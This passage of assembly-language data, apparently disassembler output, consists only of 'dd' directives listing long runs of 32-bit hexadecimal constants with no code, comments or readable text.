		dd 0FE5364FFh, 7B423620h, 6A7F4C7Dh, 0D906F405h, 0B227AF35h
		dd 84CB2097h, 0EEE8B0D7h, 0D4EBFC0h, 44985CA6h,	4F390205h
		dd 0B4AA311Dh, 0A7929F3Eh, 0C901790h, 7922CF09h, 77940060h
		dd 0BF44A435h, 0A70C1876h, 0B0C75D68h, 247C1613h, 68F96708h
		dd 34C00196h, 3CEB151h,	0F6EFC180h, 0EAEFED1h, 8F7AA58h
		dd 3ACB2855h, 2EB159A4h, 7C203DBCh, 890CE92Ah, 8083B501h
		dd 0E5D084EDh, 352F1EF1h, 5488AB14h, 0B0086039h, 2A16C681h
		dd 0E918A904h, 56E8A765h, 0AA9412C4h, 4BC3F946h, 511F0E8Ch
		dd 0EC40DD88h, 0E7305B59h, 52586601h, 0E6807EB6h, 0A1C69BCBh
		dd 0E020F720h, 0ABDB5AC7h, 0BFE18920h, 206998BAh, 314C6668h
		dd 0E8023E43h, 5417E5ADh, 26CA6C08h, 8D90A5EBh,	5808C6Bh
		dd 5AC2F84Ch, 0F8BBF56Ah, 29970C5Ch, 0B580D70Bh, 45381959h
		dd 2F206C95h, 0AE22EFFCh, 987D265Eh, 0B57CCAA2h, 0E880B219h
		dd 15C7872Ah, 0F7D45BDEh, 2DA2D8BBh, 412FA976h,	53A2C045h
		dd 0D30180D1h, 6EFF13EEh, 68C41EB3h, 0D4E5AAB9h, 2FEEC290h
		dd 1632305Ah, 0A723BD60h, 172D2C6Fh, 0FB0F099Ah, 0D7AABE38h
		dd 9AB902AFh, 31056312h, 0C15595C2h, 0E5A8F644h, 6876117h
		dd 41E82860h, 1AA95B0h,	9539D509h, 5FC59710h, 39504BAh
		dd 355A06A5h, 12102FB8h, 0D9CBA8D7h, 841727BCh,	0C1C1298Ch
		dd 346E73E2h, 0B131BFB1h, 5800B48Eh, 9F09CF81h,	800A2807h
		dd 611D8820h, 12CD9071h, 0E0F82FD8h, 5F95B21h, 889F19A2h
		dd 591824A9h, 905D8F0h,	62931AD2h, 0D00DC6F3h, 8B2C34C7h
		dd 0D26858C1h, 0FD673E31h, 107998A3h, 4825B75Fh, 4ACC0432h
		dd 2FC06A76h, 69F4B443h, 8C578DBCh, 0D50CEEh, 2902FA78h
		dd 0DA1FE9CBh, 0C3B719Fh, 0C54D1551h, 7DD5700Bh, 887EDCC2h
		dd 2D033792h, 0E53DE187h, 39498805h, 65BDE984h,	0B8960841h
		dd 0BBA4605Ah, 3513479Ah, 0C0BA4327h, 7BE7E050h, 48F69C4Dh
		dd 84050267h, 6044B15Fh, 820E6D5Eh, 37252FFh, 2D18FAC7h
		dd 9613EA09h, 64ADB77Fh, 0BCA384h, 47BA5250h, 9D187F4Dh
		dd 6D027DD1h, 0D77B43E9h, 0E44BFD0Eh, 5679AEEEh, 7266FC9Dh
		dd 0AE6E9F84h, 68504020h, 8C205EA4h, 22417354h,	2D17F30h
		dd 686EEB45h, 0D57C615Eh, 5DE16762h, 0D9F155Bh,	424F71AFh
		dd 4007B87Eh, 93625D6Bh, 2F61B560h, 0F4F2595Eh,	0CD5AFB17h
		dd 0BC984445h, 0C054B2B5h, 941BACADh, 32737052h, 763C32A1h
		dd 0D352256Ah, 54E4454h, 0EE014B59h, 7A0737BDh,	0BD9AF7F4h
		dd 347E5A92h, 0EB9A5527h, 8CC35242h, 75DF7519h,	42E5A89h
		dd 0C2E4C000h, 0F4484E94h, 73BB5853h, 0D125332Eh, 2F77CD8Eh
		dd 0F3D1DEFDh, 53D58FE2h
		dd 50538B4Eh, 0E155AA9Ch, 0E48E3BE4h, 0E86AB44Fh, 84124D49h
		dd 0F056C86Bh, 76419406h, 0AFD6C52Ah, 5B05AEA0h, 10C5B380h
		dd 0BE02E792h, 0B6FBC6E1h, 4D0B6940h, 0A82B0D2Fh, 5E0B0800h
		dd 4C90F221h, 0FE00E001h, 81366F4Ch, 181D3BF6h,	0EE800DA2h
		dd 3D7491Ah, 0CFAD2DE9h, 4DE18521h, 35C96B11h, 7D5D0802h
		dd 0BF7B3D0Bh, 659F9BA0h, 0EA07B43Ah, 8D7A243Dh, 0FDFA8241h
		dd 0DDFF84E9h, 0D84E4346h, 1A5979B1h, 0EA3F123Ah, 0E91319DEh
		dd 0BA6A4463h, 49BA8065h, 0F21E814Ah, 6F971057h, 647FA001h
		dd 727CD97Eh, 240AD115h, 7B915225h, 281272E0h, 0F827AFF7h
		dd 0EC41DA5Fh, 7608297h, 32B6DDC9h, 0C5685341h,	932379CEh
		dd 0EEDB52C0h, 0E8A95309h, 3D456AD7h, 0EF99795Fh, 7E2916F9h
		dd 0ADD2B6ACh, 0ACC5104Bh, 303EB602h, 8DE866F3h, 0E330C02Dh
		dd 88A00C06h, 285B02D9h, 410BE9CFh, 9A913475h, 0D0DB20F8h
		dd 0A15A59EAh, 0D0CBD84Fh, 2B3530Bh, 5885B98Ah,	0C399E830h
		dd 54E77589h, 42718C7Fh, 0E209EF79h, 0F116193Dh, 8093D11h
		dd 330248DDh, 327FA623h, 901D6869h, 806C9017h, 99D915AEh
		dd 66020B27h, 5631E0Eh,	68B83474h, 78F72EE4h, 1C1063CEh
		dd 0F0F2E479h, 232D3460h, 112FE97Ch, 1F7A22C7h,	4BD60939h
		dd 4C55D4Bh, 0E1D510CBh, 0F9DD8243h, 40B760CEh,	2D05340Fh
		dd 752C6935h, 704FFA1h,	97AF2CABh, 0BBD5B6h, 0DBF174BAh
		dd 9059CD21h, 32C603A1h, 936815BCh, 520B3CCh, 493052B4h
		dd 164519E0h, 530DE7E9h, 404B018Bh, 8162971Fh, 68E0C246h
		dd 0F464899Dh, 29A0402Eh, 954012B7h, 0E3310BB2h, 6BAB4290h
		dd 0DA66B22Dh, 0EFEB5EE5h, 0EE08062Dh, 0DB301619h, 441A017Ch
		dd 803AC539h, 155BAA0Ch, 227B86Eh, 0E9280B53h, 397D5914h
		dd 2DF05454h, 0EA81C0C1h, 6A674C8Bh, 51F5C097h,	0F17D5B38h
		dd 5B206C3Ah, 1C0B2CAAh, 0CBBBDC83h, 0FC9D7D03h, 5EE303F6h
		dd 4FD27837h, 46710758h, 0F4B95102h, 7659CC07h,	0AFC1811Fh
		dd 6F659932h, 13E66CB4h, 0BAFD17A5h, 17C17B0Fh,	6FF64801h
		dd 0E1CA0EB8h, 87014D5Dh, 8457DCD6h, 96C0F197h,	0EA39D951h
		dd 275AB47Dh, 0D17339C4h, 3ECFED80h, 2CE96B8Ch,	45BDB018h
		dd 59A2BB5Fh, 13ED53E5h, 0ED44511h, 109FA321h, 0BA000BF7h
		dd 8449E3FCh, 0C3B3D129h, 914F253Ch, 0B944539Eh, 0B11761FFh
		dd 0C50004E5h, 2EC27BEDh, 0EA312FC3h, 0D875201Ah, 658E25AAh
		dd 0B0273118h, 177C80Ch, 4FE95ADFh, 0EA6A59C3h,	0AEB66E31h
		dd 0F0252958h, 0D481917Fh, 0FEBAC43Fh, 13D402E6h, 0F66220Bh
		dd 0EB42E1DDh, 0BFA0845h, 7DBE3A9h, 0B00B4CBEh,	0B71C2BE9h
		dd 0CFF24A8h, 4C0C0479h, 3D1CD0F8h, 0F367CDE9h,	52FFBD30h
		dd 1A4CD5B2h, 104EA97h,	5200FCD9h, 0A6196C68h, 22670F9h
		dd 4EC9B14Dh, 9D8B0AADh, 0F15DE542h, 0FCF1727Bh, 7E78EF8Bh
		dd 795F72C5h, 137ECB8Ah, 9AE924Fh, 7333C599h, 1DEA2F50h
		dd 13687F41h, 1DFA0750h, 87672D0Eh, 0B01960CDh,	35E9565Ch
		dd 0BEDAF360h, 642443EEh, 8C589A2Ch, 6872510Dh,	59825F1Ch
		dd 0C0D1874Bh, 9FA306CAh, 5B5BE394h, 0BF0B6CAAh, 0FB010984h
		dd 9623BE9h, 0CBABC35Dh, 0C23900BCh, 75DC74A7h,	0C0B8FA29h
		dd 0FD793E07h, 0E9124E13h, 27A5FC52h, 0C12416F3h, 0BF03D010h
		dd 2B0174E6h, 0E4D6BBD3h, 91A25673h, 78275AE5h,	2BA9E0Ah
		dd 602FCFFDh, 12E18C5Dh, 762314ADh, 4E04A427h, 0C009D33Bh
		dd 1D1BF2FFh, 6FC6F1E3h, 0EE296890h, 0CC8B27E9h, 574948F6h
		dd 5C581649h, 0EFC5790h, 984E0843h, 0BE65F413h,	82EF5B29h
		dd 0F20EDF40h, 196E4BCh, 54158E91h, 1E188A2Eh, 0F7428DACh
		dd 67A57416h, 9D4600B8h, 461BD0Fh, 554AE90Bh, 0F1D29C2Fh
		dd 0F195E483h, 0C6CBA3EEh, 5C229EB6h, 0C05AEB21h, 2831095Bh
		dd 0E9F976C1h, 4F6A49A1h, 2CD07B89h, 6903374Ah,	0B04E581Ah
		dd 0E455EDE2h, 0A0CC07Eh, 831E4007h, 0F27CEA64h, 148502EAh
		dd 0F8E89AE9h, 7C0F7DBDh, 72217BD8h, 811490A6h,	9E1A399Bh
		dd 29FDD392h, 89C64D1Eh, 0CEF5CCE9h, 96DFF668h,	83DD25EAh
		dd 0C00A59h, 0C373C227h, 0D721694Ah, 0E8B535B8h, 28BEBE0h
		dd 6807FB40h, 98D50FB8h, 2D4BF72h, 0E90E0149h, 578242D3h
		dd 2C02A663h, 99F15768h, 56B35341h, 0FE87003Fh,	25E9CB30h
		dd 80B51292h, 4EA735DDh, 2D560693h, 765019F3h, 0E92EE198h
		dd 0B881FFA5h, 43D1018Ah, 7F1BAC20h, 0AD545860h, 46C7C14Ah
		dd 3027D128h, 679926C6h, 0FFB47D4Fh, 9BE38644h,	532823FAh
		dd 5C443627h, 22125AC2h, 0C5D547C2h, 5DE2D82h, 25F98FC6h
		dd 8E22CC88h, 0A54AAB7Dh, 5FF846D7h, 8566A9CFh,	0C7E67AA6h
		dd 0BCF4987Ah, 12346839h, 42C90E5Ah, 0E93FAA21h, 1800E385h
		dd 240968BDh, 99E8317Bh, 0C72962D3h, 5C257DC4h,	991255BCh
		dd 95FB94D5h, 0B79A10B0h, 61FB929Fh, 132ED37Bh,	6F28BA2Dh
		dd 2F4F4107h, 137E53E8h, 0B01F446Bh, 0DB4136FCh, 54C2DF04h
		dd 0EE905FEEh, 6B4A5368h, 2A0467A6h, 0C0619114h, 9F4CEE06h
		dd 0D7E96009h, 66422699h, 0DEAE2F8Eh, 118D0E48h, 58C545C0h
		dd 9E478A68h, 77D8607Dh, 0F7044198h, 874CE9DDh,	731011A9h
		dd 3B813EADh, 31A3923Eh, 2416BC01h, 5FDE232Fh, 0E900F1C7h
		dd 0F25DB9F6h, 4F94EC55h, 87EB74BBh, 236049Ch, 0F44AB368h
		dd 10C1602Fh, 5EBD62D9h, 0FB8740DDh, 8D0D7F7h, 0F681800Ch
		dd 0E3090ECAh, 121DC6D8h, 42F7651h, 17033C7h, 75182C05h
		dd 0AA64D492h, 82E95310h, 0D16CE168h, 0AA3E924Eh, 28F7FB9Ch
		dd 28C855DFh, 2ADDD657h, 77EB2C03h, 0AB544AD0h,	8C2421C3h
		dd 0CB6FA2AFh, 2E2DDE95h, 0EB0F6E0Ah, 0ED7B32A4h, 27BFD006h
		dd 7394F697h, 8AFE2FF1h, 18545570h, 3C5BFD08h, 7110FDCCh
		dd 0D7680AEDh, 0F7C0F827h, 0A3548579h, 5870C8E5h, 98D2F43Bh
		dd 40AB01DDh, 11E96EAFh, 0F8F62AD3h, 0EF8294D3h, 409451B2h
		dd 0C09DF420h, 3525B07h, 51EE814Bh, 92DC530Fh, 9DC8DA77h
		dd 0C673EB80h, 681AC304h, 13A25CEFh, 20B4B519h,	52964190h
		dd 0F30A92B6h, 0ADC257FAh, 2928A2C2h, 187C0F00h, 56021548h
		dd 0D6223B68h, 896C7411h, 308342h, 11D3C096h, 2CF1D5C0h
		dd 816B12DCh, 0F7A610CFh, 44206E48h, 33B0B7B8h,	9239333Eh
		dd 28AD296Bh, 4201C7C4h, 0AF634B68h, 6EFFCBE2h,	0CA63BF82h
		dd 209B982h, 1B7EBC85h,	849F7A12h, 0C2A787ACh, 8C0CD8B7h
		dd 0CD0E1273h, 311E502Eh, 7F71D7C9h, 0CC956565h, 0C28180AAh
		dd 2D009814h, 31551DBAh, 6779E96Dh, 0E8CA2D33h,	8FEF8100h
		dd 26525705h, 74A475Ah,	69826E94h, 0E99B01DDh, 2CA7AE19h
		dd 0FA4A54CCh, 76B78417h, 5FA1AF8Bh, 6EEBD15Ah,	1FFB1814h
		dd 142EFD33h, 21FD1516h, 0E3C0C9DEh, 44CFFD74h,	31EA2DFEh
		dd 6EADD52Dh, 0AC3BD2CDh, 0B6A8D78Ah, 7A130B0Eh, 11B0CB88h
		dd 96413368h, 0ABB76263h, 0F410BC92h, 5D2EEA29h, 43019342h
		dd 4A5FBE5Ah, 0C10CA27Bh, 3C312E61h, 6F42A52Eh,	2F4553E4h
		dd 0FD204B0Ch, 640E66D6h, 10EF069Ch, 48351951h,	34A5A63Bh
		dd 0B2FE6DF1h, 0D4A14B36h, 3AC0893Ah, 841C9593h, 4FE6CEEEh
		dd 668B55ADh, 0E9986281h, 4B8A7C18h, 0F01D57BEh, 70976926h
		dd 3EB12023h, 59A8B816h, 80EBE112h, 3407D794h, 4C789Fh
		dd 123FD60Dh, 40F1257Ch, 35673C0Eh, 65451DD4h, 0B3BFC101h
		dd 3AE0D59Bh, 29684059h
		dd 0ADAE1ECFh, 7AA7D0C0h, 590C49EAh, 2B35EEE9h,	3A0F49C0h
		dd 0C227A081h, 0B2D37E4Eh, 0C0D6AA08h, 25B6AE2Eh, 6D50EEBDh
		dd 0F0C7312Dh, 9F7627B1h, 7D5A3CDCh, 0EA55B204h, 905A66F7h
		dd 6F1DF9ACh, 0B0E92F3Fh, 0C9BE34DBh, 0DD0B509h, 0D5ABE42Dh
		dd 0B1117425h, 56E93E84h, 0EB250048h, 0AA3C22A2h, 0FA78BD54h
		dd 2A2CBFC4h, 0A8C24D04h, 75535401h, 52E12700h,	0E9130E7Ch
		dd 848A9422h, 0B48FEB92h, 0FC625816h, 21AEB5C0h, 4D28B23Fh
		dd 51DAE0B9h, 9279A92Ch, 5C2E1E2h, 0E856A559h, 0E897DA91h
		dd 0FA7C36FFh, 612D002Ah, 0E9337B58h, 889998B2h, 606CDD4Bh
		dd 59C438E6h, 0C9ABEA86h, 0AD11BB7Dh, 0B5AF70DAh, 0E9ED0FE0h
		dd 7CB46174h, 334BD802h, 7248DD15h, 3762EB0Dh, 48A16724h
		dd 0E116C928h, 0C186B93Fh, 92E9D901h, 0B00DC550h, 55DE0157h
		dd 0F96E9B05h, 0C8C07BE3h, 2DE9F131h, 0DF542110h, 2796A8EEh
		dd 0F120775Ch, 0FB2DFDF8h, 567EC0F9h, 55EE3A89h, 914FB658h
		dd 2F44813Ah, 4AE930CCh, 0B93403BFh, 598123Ch, 9D05E181h
		dd 517A033Fh, 835845AAh, 0CB70C1E9h, 6B850449h,	231FA716h
		dd 164C684Ch, 17BE04BBh, 0BF2913D3h, 0C7615BF5h, 975D236Ch
		dd 0EE25CC84h, 4BAFD18Ch, 7DB3B641h, 35792BC4h,	0DCA5B113h
		dd 6B7CD25Eh, 0FF8F4F6Bh, 4A97BC47h, 15ED981h, 0F961997Ah
		dd 31B07502h, 72A3ED9Fh, 7D25806Ch, 6F3151h, 10011435h
		dd 0C6CEE90Ch, 0C016609Ah, 6705D71Fh, 0E4ACE14Ch, 6BC7FB93h
		dd 0E45890C2h, 96654065h, 0C6C9F0FFh, 9B8930D3h, 39292E30h
		dd 1173E41h, 83110FBh, 31F71C60h, 8820A9Eh, 0B22208F7h
		dd 55E842BDh, 8E40D79h,	2D68ABF1h, 0FCAF993Dh, 8B39ACFEh
		dd 1760631h, 803AD596h,	404EE9FCh, 58585AAEh, 4C3D0E13h
		dd 8C4B4C25h, 4B48700Fh, 243ABDF9h, 0FB003208h,	4E078F67h
		dd 1F9C24E9h, 7CA58B81h, 9538C366h, 71AF5B59h, 7F5F3802h
		dd 317E9ECEh, 2A4F124Dh, 5824F462h, 5D8F70Dh, 852C112Bh
		dd 21054A48h, 0AE364E61h, 8E9570Ah, 872D62Fh, 0A63FF539h
		dd 31037BFDh, 0E9404A23h, 0AC2AAF30h, 6144A598h, 2FDCE26h
		dd 421A68C2h, 0C588F6D9h, 42F22F94h, 98223220h,	0DF8F300Ch
		dd 1FD62D0Ch, 1D6CEF2Ch, 49070514h, 10D84978h, 20C4BD55h
		dd 1CBDB403h, 0B03E3D41h, 0AAFC2F1Fh, 0B8A1E0BFh, 13F262Bh
		dd 425902E0h, 6B7D0E93h, 3D60A184h, 0A0F7B2EFh,	9C476B8Bh
		dd 87C4BC16h, 7210A1F6h, 0C55D099Fh, 5BCA829h, 0C2307CE7h
		dd 39F0C010h, 0D94827A8h, 1DE909F4h, 78415A80h,	95E1E65Fh
		dd 575ACAF6h, 10695754h, 9C93AD05h, 2AC9BC70h, 50D3C67h
		dd 0AAD816F8h, 0EB4E9ECBh, 0BC686320h, 2F469764h, 0AF25E918h
		dd 9E27C31Dh, 6765E21Dh, 158F65Ch, 672699EBh, 6802B083h
		dd 0CDA85603h, 8880CD2Ch, 0F941E5DCh, 55C2B148h, 2598E54h
		dd 95C33330h, 1CA4E7FEh, 0DCEBAB13h, 0D015287Fh, 510BE82Ch
		dd 0E95D1046h, 0D9C52DEFh, 62201AA4h, 5E467776h, 560C244h
		dd 954B8200h, 0EA0E901Eh, 0F89F757Bh, 7E616F1h,	3ECCFC14h
		dd 2C1A138Fh, 0C8D74E09h, 161105D8h, 0AC580861h, 420BDF15h
		dd 341B20C9h, 8059553Ah, 2A300D4Ch, 31AE3A68h, 0B82B5A7Fh
		dd 69F100E7h, 91BA6A50h, 8CF62582h, 0B6E98501h,	0E1DA4D21h
		dd 3B46833h, 0FD9764BEh, 2C9C271Ch, 0F5C9112h, 46D5BA89h
		dd 1D3530DEh, 6DB7F5B9h, 8A737930h, 5B23240Bh, 4100AD28h
		dd 5A987308h, 0E91930AEh, 0F8913CBEh, 28A84F84h, 4DBE1ABh
		dd 0A058C508h, 0AE2F6892h, 4F9A1416h, 7B38EF59h, 0CEFC2DE9h
		dd 3E88D979h, 0C82900B9h, 0A567C32Dh, 0EA65D4Fh, 2DC9721Ch
		dd 0B7601457h, 0F727C9D3h, 2D4EB19Ch, 0A6497EA5h, 0B083F83Fh
		dd 402B6A06h, 1B18B502h, 4B0C261Ah, 796F2501h, 75097678h
		dd 2ED15D58h, 4921A375h, 0E3280057h, 0E9CCB6EDh, 0B3CE0B37h
		dd 2BF84FD7h, 81A076A8h, 6A259AC9h, 4E717049h, 15EA6880h
		dd 0CF538777h, 0E45A0093h, 29F87A1Eh, 578DC54Ah, 936627FBh
		dd 858843E4h, 2C709768h, 0F9DE56BFh, 0A8E03E5Ch, 0F8D25AF7h
		dd 17B5482Bh, 65EBE077h, 2D84AF04h, 5FDE66D8h, 47DA992Ch
		dd 322872B7h, 60D5A761h, 0D782B16Ch, 547A3680h,	46B84E2Dh
		dd 882B998h, 6C6CC6Ah, 2FD3EA26h, 0C9260118h, 0C755C12h
		dd 81CD076h, 25141C68h,	682F1855h, 2752B730h, 57D48B31h
		dd 0FBF9A2EBh, 0C3286622h, 615D4B08h, 6AB54312h, 0D281FED5h
		dd 8B413209h, 0E73A8128h, 0F1F71F84h, 1984E64Ah, 0FB705F02h
		dd 4338603Fh, 19BE014Bh, 0D6E9CA09h, 0CA8A7EB8h, 52DD448h
		dd 0EEFC9DC4h, 37CD4C09h, 389A7F8Ch, 0CB20A962h, 1A60BD66h
		dd 6FFA05E8h, 2BF50290h, 0C7D61293h, 2F7C6E6h, 114D69C7h
		dd 0C87C2962h, 24AC0820h, 784A2B7h, 0FB2103E4h,	0A4C38A05h
		dd 79AD6BBFh, 0AF609724h, 8259167Dh, 0BF9014DCh, 5DAF7A67h
		dd 68A05613h, 0E79F20D4h, 901D896Ah, 0F5B4E6F7h, 0E33E6AF5h
		dd 4DFD4FA4h, 48FB5D2Fh, 0C640AC17h, 70766CB9h,	4149250Ah
		dd 5842E857h, 77CD2525h, 55E91A74h, 0C7069F78h,	4588323Dh
		dd 0A47090Ch, 0E2551398h, 0C080D59h, 21591400h,	0BED496F9h
		dd 202CAFh, 67C401ACh, 80BD44B8h, 4270EB74h, 406AB037h
		dd 0F858303Ch, 3A68E0F6h, 70FDC440h, 0B7530006h, 0F4FE2043h
		dd 45475A4Bh, 9909D38Fh, 7CA23B8Bh, 0ADE24516h,	0E89270EFh
		dd 0E104D995h, 98D514E9h, 26FC4F2Eh, 0B00A24FDh, 2057AD53h
		dd 39A4ABFh, 0A807970Dh, 0C96F3125h, 0BCF63A56h, 9213E23Fh
		dd 0BE53CC16h, 0EE599902h, 0F5F10953h, 9A9DF840h, 0D0918127h
		dd 0D12D071Dh, 8734CC59h, 2BE92C8h, 5FDD92DDh, 0F62E6682h
		dd 0C11D93DDh, 0FE029799h, 0C0FF6075h, 62077CE5h, 0C10119B1h
		dd 567BE80h, 584B3C48h,	0B268E583h, 0A19A6E34h,	93F6BFBh
		dd 0DEC687D3h, 0FB1AB5FAh, 0FD64DDF6h, 5F9849D2h, 5DF05E02h
		dd 8F05E801h, 85611207h, 0EF7C17E9h, 1AF1E75Fh,	6085CA91h
		dd 0D7EAF7F3h, 0D55FE027h, 1F2D0509h, 6265C229h, 7D0A0958h
		dd 0E9585768h, 28E8320h, 28DEC680h, 0BE545AF0h,	1090689Fh
		dd 0D2438869h, 3B527DD1h, 0AAD2FAE7h, 0C10148Bh, 2FB90290h
		dd 8238DD78h, 0C8CB069Ch, 0B542D24Ch, 0B880E55Eh, 3D5003ABh
		dd 5A16000Dh, 9D35364Ah, 2175D656h, 3B69BF3Ch, 66E04E4Dh
		dd 259F00F3h, 0E94B40B5h, 0E6BF396Fh, 0E8681726h, 0C9A9B819h
		dd 55A52902h, 8F1E9D45h, 0DAAD7465h, 7EE1A861h,	0DD9670E2h
		dd 76E97F47h, 9B175037h, 97F6E0F7h, 3ACA307Eh, 60E957A1h
		dd 0B114ACB6h, 0A12331EAh, 2FD42D5Ah, 10014B5Bh, 5E0B0787h
		dd 1E4030E9h, 877A7488h, 0DF27EDBCh, 6202F3Eh, 7CE083E6h
		dd 24D85BCEh, 988056EAh, 0C5E4E896h, 0FC5608CBh, 2984D2F7h
		dd 545C09DCh, 686F59F8h, 68E85FC0h, 5FF90900h, 7767BB53h
		dd 0DAB0134Fh, 97369F8Bh, 0E4B2D6B5h, 30219137h, 73C420CEh
		dd 5FC46880h, 7A4E337Eh, 0DDF21CDh, 7E0C06D4h, 0CA8180F2h
		dd 1430070Bh, 0B3584804h, 0C88F25B9h, 0CC5C847Fh, 5532B3E1h
		dd 8BD0E8D6h, 9F4DE8DEh, 10AE165Ch, 17B70D31h, 8F75FA18h
		dd 0E3D94AC1h, 2D407625h, 0A5BCB5E3h, 308443E0h, 0ECC2BF4Fh
		dd 22D1DDCDh, 0FCC93462h, 0AA45CF02h, 8829A85Fh, 36562DA0h
		dd 88540A16h, 2F4E710h,	0FF4A5C4Bh, 6B286041h, 0DE9884C2h
		dd 0F7EA8018h, 31D66D26h
		dd 5D5AD32Fh, 89E99A22h, 32051069h, 5D6650CAh, 6FDBD88Bh
		dd 30207B83h, 5B9AA6B6h, 68125859h, 0D1343504h,	0F11A2FADh
		dd 0AD463DC0h, 663DEB5Ah, 49D3F62Eh, 0C15F74C1h, 4F5A4280h
		dd 0EF055F90h, 32AE7825h, 1181F2FFh, 3F9326E9h,	1513CEF3h
		dd 0DE64BE02h, 90F1E6FBh, 0A29220E0h, 0A86C4025h, 0DB8582AAh
		dd 0BBF1D5F9h, 0BD180BE3h, 0E6C1238Bh, 0FA075Bh, 8AE0BB47h
		dd 0F15B896Bh, 94F8F934h, 0A4EB8112h, 492FE9D1h, 609657A6h
		dd 210E79B4h, 0FF9225E9h, 5A9633ACh, 7B5613D0h,	0E0545317h
		dd 0BAFD3C03h, 0CBBABF52h, 38401CEEh, 3C455B2Dh, 0AB4F6B89h
		dd 2DE35648h, 188E54E6h, 782849A1h, 0D4C86B16h,	0C304BB56h
		dd 0AB4E3B41h, 0EFCB012h, 0EE4BE9BCh, 50E89213h, 0D1902359h
		dd 92578C00h, 5FBFE970h, 8064A997h, 0ACDAEF1Fh,	1CD76A7h
		dd 3A40C6CFh, 2ADFF70Eh, 92D3C2Ch, 29647A46h, 17AE0FF5h
		dd 0F3254EFFh, 0D16542E4h, 6A0B6441h, 0A4A7E530h, 0E9F90C7Ah
		dd 0EDC70666h, 4342B0B4h, 0F5610FF6h, 0E7C25EBBh, 16C9E5B0h
		dd 5676B702h, 0F2B1C4E9h, 96D89F8Fh, 6A0FB52h, 93271D3h
		dd 0CA28288h, 127E1C08h, 1D5A8576h, 22879340h, 5E098AD7h
		dd 0F154255Ah, 0A64AF628h, 1B8F105h, 0DDC67E09h, 5D25F845h
		dd 0D0680D68h, 0C1389BBDh, 85C32AD3h, 0D35EA3AEh, 3E04B575h
		dd 54029338h, 0DB405758h, 6D2C6889h, 15029B69h,	437F9F5Eh
		dd 0D587DA8Eh, 0B1B8EF98h, 28385805h, 9DC3730Dh, 1C77A821h
		dd 0D32950F6h, 54E9B7C3h, 2B08C9C1h, 66CA5600h,	0BCD98982h
		dd 0FA6E927Ah, 0B55BB8C8h, 0E9E10C76h, 8C29A9B7h, 19184E1h
		dd 0E3D8F681h, 5E7E7B40h, 494DC2DBh, 40C3DFC1h,	0B4191522h
		dd 0DDF75F12h, 60CFC9BBh, 0D39F709Ch, 0ABEA9646h, 0C06B0927h
		dd 9F4068DFh, 9C77A709h, 49309DC5h, 0BA4007E9h,	5BD2EC59h
		dd 4C1FA2F5h, 7EE5055Eh, 0E08338D7h, 0C728981Fh, 0F4D64C01h
		dd 3CD02989h, 6B4AA19Eh, 5BFB7A09h, 0B95180B4h,	23912EEBh
		dd 71104EC1h, 0BD46023Eh, 100883CAh, 5A8E4388h,	0F0C22F24h
		dd 0ADAD51C4h, 9AE00C22h, 7CC4EF5Ch, 32D45B0h, 0BEC301Ah
		dd 65E2D029h, 0EFD7A6CAh, 82E984E5h, 0C507FD8Eh, 28EA5EF7h
		dd 7BF18BA6h, 0FAF466EDh, 4EBCD72Ch, 5372EEB8h,	0D2CB5DC3h
		dd 234821A3h, 95ACE472h, 68FD20DAh, 4DDDE916h, 0AF4FDB88h
		dd 5793894Fh, 599A8EFEh, 8645B4B1h, 0F5BC4D8Ch,	6107D6D0h
		dd 0F34BF10Eh, 857B70A5h, 0F97FC204h, 0B3E1294Ch, 445D0802h
		dd 0BEE27017h, 982B6203h, 0BA1E090Bh, 7CC9C06Bh, 2EDA621h
		dd 2B286855h, 167D137Bh, 12CD7797h, 4267AB49h, 0AA58E946h
		dd 9A72DEA9h, 2E840F55h, 3942C7ECh, 1F28716h, 9B12F6FEh
		dd 0C9C6407Fh, 1608C61h, 0DA76A10Ch, 0DE91757h,	0EF1ED03h
		dd 6004E6C0h, 0C68008EEh, 0B564B0EAh, 884A5658h, 0D01D8AB8h
		dd 6404CE66h, 4B2CD8C7h, 0E1499255h, 0D2D8EC4h,	0AC59E817h
		dd 186C3EB6h, 0F3DF7D19h, 4DAC167Ah, 46AF08ABh,	0E84C7D25h
		dd 0E26F489Fh, 0C137C07Ch, 0B196CE16h, 96325CB7h, 0C061BF50h
		dd 617A977Ch, 0C9CB315Ch, 0FE08A5D9h, 0FEE9E1FEh, 3631A84Bh
		dd 0B4A714Dh, 2A61B75h,	6579EC2Bh, 36A53DF7h, 4D574BC2h
		dd 0EE542D97h, 54C2D64Bh, 455DF9B7h, 22D8AB50h,	67B438Eh
		dd 5E1DF2BAh, 0D39A598Ah, 3A936809h, 409762CCh,	0C09D8D0Ch
		dd 0A267EFA1h, 68195BF9h, 31CD4CF3h, 0A85AC738h, 0DC79B927h
		dd 0A7F94A26h, 0F6254A54h, 0B8AB8996h, 7304F66h, 8BBE5CEFh
		dd 6F692D47h, 6A4A485Eh, 11BA908h, 6A46E468h, 9CFD6E2Ch
		dd 191C80B5h, 1C53D748h, 40E909E6h, 21C47DADh, 0F3B0DF2Ah
		dd 5A04D658h, 1FBA8780h, 353A276Eh, 0ACC06409h,	6082334Eh
		dd 3D236ACBh, 0D7927FFEh, 21A6D2E7h, 2C111675h,	0E94C0B9Ah
		dd 0E985ABD3h, 0F3BAB417h, 9DAFD6A5h, 0A8282E87h, 6B68125Ch
		dd 526F31Ah, 7B057943h,	933B6AC1h, 56D98205h, 542F947Ch
		dd 5E7152C8h, 0A612E2A6h, 0D1EA4352h, 2BCFA0C3h, 1DC03DAFh
		dd 0ED67EC4Ch, 0A747DB9Fh, 0ECAC6979h, 7A52E013h, 68D0CCEFh
		dd 665FBF27h, 822FF699h, 19D7B509h, 0F8625779h,	3AA1EFA1h
		dd 539EA5B8h, 4FAA0B8h,	8425F27Ah, 40D81266h, 9DCC6853h
		dd 0FB140505h, 0B50024CBh, 30BCB28Eh, 0ADFC59EAh, 2E156817h
		dd 628E00CCh, 51E011C1h, 57783A5Fh, 0E209BC73h,	57151A81h
		dd 0E9854673h, 0B7EAB09Ch, 70680A9Ah, 59C29423h, 0A7F748F7h
		dd 28EA2702h, 3AFAD870h, 9BAF4FD7h, 0DD546245h,	0AD66906Ch
		dd 232D802Ch, 66384F13h, 65C9D5E4h, 4D3D78Ah, 19C5E4E7h
		dd 99E00320h, 9CBD804Eh, 0A7D37E28h, 6F36ED05h,	5C863AA5h
		dd 16FC3026h, 119AE79Bh, 71A143Bh, 0E06D27CFh, 0FE00EF7Ah
		dd 0E9211DF3h, 0CC089DF9h, 6868CBA2h, 0F49FA83Dh, 0F1296115h
		dd 0D9F0385Eh, 0F341560Ah, 0FC3A5341h, 0CE87B109h, 0E9D9068Eh
